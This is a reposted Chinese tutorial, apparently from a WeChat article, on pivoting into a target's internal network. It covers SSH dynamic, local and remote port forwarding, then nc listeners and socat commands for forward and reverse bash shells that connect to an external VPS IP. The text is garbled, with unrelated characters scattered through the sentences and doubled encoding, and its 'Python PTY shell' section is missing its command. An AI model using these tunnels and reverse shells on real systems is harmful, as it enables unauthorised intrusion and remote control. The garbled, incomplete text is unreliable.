轉(zhuǎn)自:https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&mid=2247484014&idx=1&sn=78fcbe24a3956ed1a0bf3fba594eb0d9&chksm=ec1e3246db69bb50949eef2218344c79ec94f2ec662729a924eb788a4a47747ba0dd3750c3dc&scene=21#wechat_redirect
利用ssh建立隧道
一项钮、動態(tài)端口轉(zhuǎn)發(fā)
ssh -D 用ssh做socks代理奄侠。假設你內(nèi)網(wǎng)里某臺機器可以上網(wǎng)帆锋,但是你不能上網(wǎng),如果你有ssh到那臺機器的權(quán)限怜珍,那么就可以利用ssh方式建立一個代理socks5,通過代理來上網(wǎng)。
ssh -D[本地IP或省略]:[本地端口][登陸服務器的用戶名@服務器IP]-p[服務器ssh服務端口(默認22)]
本地執(zhí)行命令:
ssh -D1080 root@106.22.50.48
效果:本地監(jiān)聽1080端口僻焚,我們可以使用具有socks端口功能的應用芹枷,可以通過代理:127.0.0.1:1080上網(wǎng)衅疙,如果非要在目標內(nèi)網(wǎng)使用,
可以在server B上執(zhí)行:
ssh -D 1080 root@10.3.1.6
這樣我們就可以通過server B的1080端口訪問辦公網(wǎng)的資源鸳慈。如果serverB的ssh可以訪問饱溢,
可以在本地執(zhí)行:
ssh -D1080 root@222.222.222.223
這樣我們就可以通過本地127.0.0.1:1080訪問目標內(nèi)網(wǎng)資源。
二走芋、本地端口轉(zhuǎn)發(fā)
原理:將本地機(客戶機)的某個端口轉(zhuǎn)發(fā)到遠端指定機器的指定端口绩郎;本地端口轉(zhuǎn)發(fā)是在localhost上監(jiān)聽一個端口潘鲫,所有訪問這個端口的數(shù)據(jù)都會通過ssh 隧道傳輸?shù)竭h端的對應端口。
在serverB上執(zhí)行:
ssh -L7001:localhost:7070root@106.22.50.48
作用:serverB監(jiān)聽7001端口肋杖,并將7001端口的數(shù)據(jù)轉(zhuǎn)發(fā)到vps的7070端口
三溉仑、遠程端口轉(zhuǎn)發(fā)
原理:將遠程主機(服務器)的某個端口轉(zhuǎn)發(fā)到本地端指定機器的指定端口;遠程端口轉(zhuǎn)發(fā)是在遠程主機上監(jiān)聽一個端口状植,所有訪問遠程服務器的指定端口的數(shù)據(jù)都會通過ssh 隧道傳輸?shù)奖镜氐膶丝凇?br>
在serverB上執(zhí)行:
localhost: ssh -R 3306:localhost:7070 root@10.3.1.6
作用:將10.3.1.6的3306端口轉(zhuǎn)發(fā)到serverB的7070端口浊竟,這樣我們在訪問serverB的7070端口時,其實訪問到的是10.3.1.6的3306端口津畸。
獲取一個shell窗口
Python PTY shell
使用nc在vps上用監(jiān)聽4444端口:
nc -vv -l -p4444
在serverB上執(zhí)行:
socat
正向shell
vps上執(zhí)行監(jiān)聽1337端口:
socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
在serverB上執(zhí)行:
socat FILE:`tty`,raw,echo=0TCP:106.22.50.48:1337
反向shell
vps上執(zhí)行監(jiān)聽1337:
socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
在serverB上執(zhí)行:
socatTCP4:106.22.50.48:1337EXEC:bash,pty,stderr,setsid,sigint,sane